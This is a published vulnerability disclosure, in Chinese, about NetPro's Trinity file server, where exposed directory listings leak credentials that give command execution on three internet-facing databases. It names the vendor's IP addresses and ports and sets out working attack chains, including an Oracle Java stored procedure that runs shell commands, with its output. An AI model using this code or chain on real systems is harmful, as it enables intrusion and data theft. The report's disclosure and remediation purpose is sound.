Vulnerability Detail Report
Vulnerability Overview
- ZDID: ZD-2026-00652
- Vendor: 耐特普羅資訊股份有限公司
- Title: NetPro 耐特普羅資訊 Trinity 檔案伺服器無認證存取,三個對外資料庫 RCE
- Introduction: 軟體交付伺服器因 Apache Directory Listing 設定錯誤,導致所有客戶交付包公開洩漏,攻擊者可從中取得多個資料庫明文或可解密憑證,進而於對外開放的資料庫伺服器執行任意 OS 命令
處理狀態
目前狀態
-
新提交
-
已審核
-
已通報
-
未回報修補狀況
-
未複測
-
公開
處理歷程
- 2026/05/11 07:44:58 : 新提交 (由 Marco 更新此狀態)
- 2026/05/14 13:12:51 : 審核完成 (由 HITCON ZeroDay 服務團隊 更新此狀態)
- 2026/05/27 17:52:21 : 審核完成 (由 HITCON ZeroDay 服務團隊 更新此狀態)
- 2026/05/27 17:52:21 : 修補中 (由 HITCON ZeroDay 服務團隊 更新此狀態)
- 2026/05/27 17:52:21 : 修補中 (由 HITCON ZeroDay 服務團隊 更新此狀態)
- 2026/07/11 03:00:03 : 公開 (由 HITCON ZeroDay 平台自動更新)
詳細資料
- ZDID:ZD-2026-00652
- 通報者:mlgzackfly (Marco)
- 風險:嚴重
- 類型:遠端命令執行 (Remote Code Execution)
參考資料
漏洞說明: OWASP - Code Injection
https://www.owasp.org/index.php/Code_Injection
漏洞說明: OWASP - Command Injection
https://www.owasp.org/index.php/Command_Injection
漏洞說明: CWE-77: Improper Neutralization of Special Elements used in a Command ('Command Injection')
http://cwe.mitre.org/data/definitions/77.html
漏洞說明: CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')
http://cwe.mitre.org/data/definitions/78.html
相關網址
122.146.88.17:5432 (PostgreSQL,無防火牆)
122.146.88.17:1433 (MS SQL Server,無防火牆)
122.146.88.17:1521 (Oracle TNS,無防火牆)
敘述
一、根本漏洞:Apache Directory Listing 繞過前端認證
http://122.146.88.18/files/ 啟用了 Options +Indexes。雖前端 index.php 設有密碼頁,但直接存取 /files/ 路徑即可完全繞過,無需任何憑證即可瀏覽並下載所有客戶交付包與設定檔。
GET http://122.146.88.18/files/ HTTP/1.1
→ 回應:
Index of /files
Kevin/ Tim/ TrinityAE_Manual/ Trinity_install/
alice/ andy/ [客戶A]/ [客戶B]/ ray/ trinity509_sdm/
所有目錄均可自由進入,[客戶A]/、[客戶B]/、alice/ 等客戶目錄內容完全公開。
二、洩漏內容摘要
資料庫憑證(Critical)
| 資料庫 | 憑證 | 來源 |
|---|---|---|
| PostgreSQL 17.5 (122.146.88.17:5432) | [帳號] / [REDACTED](明文) |
webapi.conf |
| MS SQL Server 2022 (122.146.88.17:1433) | sa / [REDACTED](從 connection 表 hex 解密) |
WebAPI.jar Crypto.java AES/CBC 演算法還原 |
| Oracle 21c XE (122.146.88.17:1521) | sys / [REDACTED] SYSDBA(同上解密) |
同上 |
三個資料庫主機 122.146.88.17 均無防火牆保護,可從任意公網 IP 直接連線。
加密金鑰(Critical)
- Jasypt 主金鑰
[REDACTED]:可解密所有設定檔中的ENC(...)值 - Trinity AES/CBC 金鑰演算法:從
WebAPI.jar反編譯Crypto.java還原,可解密connection表所有 hex 密碼 - SSL PKCS12 私鑰(密碼
[REDACTED]):已以openssl pkcs12成功匯出
金融機構授權金鑰(Critical)
- [金融機構A]:
[日期]_[內網IP].key(17KB,綁定內網 IP)+ ZIP 明文密碼[REDACTED] - [金融機構B]:4 組
.key檔(綁定多組內網 IP)+ ZIP 明文密碼[REDACTED]
客戶個資遮罩演算法(High)
rule-package-[客戶A].jar 內含完整演算法實作:
[客戶A].TWSIDToken:台灣身分證字號動態 Token 化(含 salt)[客戶A].SECNOMask:證券帳號遮罩邏輯[客戶A].BANKNOMask:銀行帳號遮罩邏輯
攻擊者取得 salt 後可逆推原始個資對應關係。
其他洩漏(High)
- 全系統 RPR CSV 報表 ZIP 密碼:
[REDACTED](硬編碼於 SQL patch,影響所有 Trinity v4.1.1.304+ 客戶) - 完整內網架構([內網伺服器A] / [內網伺服器B])及所有服務 port
- WebAPI SSRF(
grant_type=url可觸發任意 HTTP 請求) - WebAPI CORS 設定錯誤(
allowCredentials + 萬用字元 origin)
三、三條已驗證 RCE 攻擊鏈
攻擊鏈一:PostgreSQL 憑證 → JCS Agent → OS 命令執行
利用條件:122.146.88.17:5432 對外開放,憑證已確認有效
步驟:
- 從
/files/下載webapi.conf,取得 PostgreSQL 明文憑證 - 連線
122.146.88.17:5432,登入資料庫 - 向
public.jobstep表注入惡意作業步驟(type='A'=EXTERNALCMD) - JCS Agent(port 1888)執行排程作業,觸發 OS 命令
影響:以 Trinity 服務帳號在宿主機執行任意 OS 命令
攻擊鏈二:MSSQL SA 密碼解密 → CLR Assembly → OS RCE(已驗證至第五步)
步驟:
- 從
/files/alice/下載WebAPI.jar,逆向還原Crypto.javaAES/CBC 演算法 - 連線 PostgreSQL,從
connection表讀取加密 hex:[HEX_REDACTED] - 執行解密,得到 MSSQL SA 明文密碼
- 以
sa / [REDACTED]連線122.146.88.17:1433,確認具備sysadmin權限 - 執行
EXEC sp_configure 'clr enabled', 1; RECONFIGURE;→ CLR 啟用成功(驗證後已立即恢復禁用) - 載入自訂 CLR Assembly 呼叫
cmd.exe /c <command>→ 完整 OS RCE
已驗證步驟 1–5;步驟 6 未執行,維持最小接觸原則
攻擊鏈三:Oracle SYSDBA → Java Stored Procedure → OS RCE(完整驗證)
步驟:
- 同攻擊鏈二步驟 1–3,解密得 Oracle SYS 明文密碼
- 以
sys / [REDACTED] SYSDBA連線122.146.88.17:1521→ 成功登入 -
建立 Java Stored Procedure 呼叫
Runtime.exec():CREATE OR REPLACE AND COMPILE JAVA SOURCE NAMED "OsCmd" AS import java.io.*; public class OsCmd { public static String run(String cmd) throws Exception { String[] env = {"PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin"}; Process p = Runtime.getRuntime().exec(new String[]{"/bin/sh","-c",cmd}, env); BufferedReader br = new BufferedReader(new InputStreamReader(p.getInputStream())); StringBuffer sb = new StringBuffer(); String line; while ((line = br.readLine()) != null) sb.append(line).append("\n"); p.waitFor(); return sb.toString(); } }CREATE OR REPLACE FUNCTION os_cmd(c VARCHAR2) RETURN VARCHAR2 AS LANGUAGE JAVA NAME 'OsCmd.run(java.lang.String) return java.lang.String'; SELECT os_cmd('id; whoami; hostname; uname -a; hostname -I') FROM DUAL; - 執行 SQL 查詢,直接取得 OS 命令輸出
實際執行輸出(確認後已清除所有 artifacts):
uid=54321(oracle) gid=54321(oinstall) groups=54321(oinstall),54322(dba),...
oracle
7486f3c16baf
Linux 7486f3c16baf 6.12.0-107.59.3.2.el9uek.x86_64 #1 SMP PREEMPT_DYNAMIC ...
172.17.0.2
Oracle 執行於 Docker container 內(IP 172.17.0.2),宿主機為 172.17.0.1(與 122.146.88.17 同機)。
四、產品設計層面之系統性問題
官方文件《Trinity JCSLite Installation Guide v20260130》第 9、11 頁明確記載預設帳密,未強制要求安裝後更換。同一預設密碼同時出現於 PostgreSQL 帳密、Jasypt 金鑰、SSL PKCS12 密碼,為廠商層級系統性設計問題,影響所有未主動更換預設值的 Trinity 客戶。
本次通報目的在於協助貴公司及客戶降低資安風險,所有測試均依最小接觸原則進行,未對任何資料進行修改或留存。
若貴公司有興趣針對 Trinity 產品進行系統性的資安檢測,或希望就本次發現的問題進行深入討論,歡迎透過平台聯繫。
修補建議
【立即處理】
1. 關閉 Apache Directory Listing
在 httpd.conf 或 .htaccess 中,將 /files/ 路徑的 Options Indexes 移除,或改為 Options -Indexes,使直接輸入 /files/ URL 時回傳 403 而非目錄清單。
2. 封鎖資料庫主機 122.146.88.17 的對外存取
以防火牆封鎖以下 port 對公網的所有入向連線:
- port 5432(PostgreSQL)
- port 1433(Microsoft SQL Server)
- port 1521、5500(Oracle TNS / XML DB)
資料庫服務不應直接暴露於公網,僅允許應用程式伺服器透過內網存取。
3. 通知受影響的金融機構立即輪換授權金鑰
兩家受影響的金融機構客戶([金融機構A]、[金融機構B])之 .key 授權檔案及 ZIP 密碼已外洩。舊金鑰應立即作廢並重新核發,受影響客戶應一併通知。
4. 更換三個資料庫的洩漏帳號密碼
- Oracle SYS 密碼(已洩漏且已驗證可登入 SYSDBA)
- Microsoft SQL Server SA 密碼(已洩漏且已驗證 sysadmin 權限)
- PostgreSQL 服務帳號密碼(已於設定檔明文洩漏)
【短期處理】
5. 對 /files/ 套用存取控制
除移除 directory listing 外,建議對整個 /files/ 路徑套用 HTTP 基本認證或 IP 白名單,防止直接下載交付包。
6. 輪換 Jasypt 主金鑰並重新加密所有設定
Jasypt 主金鑰已洩漏,持有者可解密所有設定檔中的 ENC(...) 加密值。須更換金鑰並對所有受影響設定重新加密。
7. 輪換 SSL PKCS12 私鑰
私鑰已洩漏,須撤銷並重新申請對應憑證。
8. 輪換全系統 RPR 報表 ZIP 密碼及所有 POC 套件密碼
這些密碼硬編碼於 SQL patch 或設定檔,影響 Trinity v4.1.1.304 以上所有客戶,須通知相關客戶一併更換。
【中期處理】
9. Jasypt 加密金鑰改存環境變數或金鑰管理服務(KMS)
不應將加密主金鑰硬編碼於設定檔或版控系統。建議改用 AWS KMS、HashiCorp Vault 或作業系統環境變數注入。
10. 修正 WebAPI CORS 設定
目前設定為 allowCredentials: true 搭配萬用字元 origin,此為不合規設定。應明確列出允許的 origin 清單。
11. 限制 WebAPI grant_type=url 功能
此參數可觸發任意對外 HTTP 請求(SSRF),建議限制目標 URL 白名單或停用此功能。
【長期 — 產品設計改善】
12. 安裝後強制要求更換所有預設密碼
目前安裝文件明載預設帳密,且未強制要求更換。建議在首次啟動時強制設定新密碼,禁止沿用出廠預設值。
13. 軟體交付改用安全的授權分發機制
目前以 Apache 目錄列表作為客戶交付管道存在根本性風險。建議改用具存取控制的專用下載平台(如帶簽名 URL 的物件儲存、客戶入口網站)。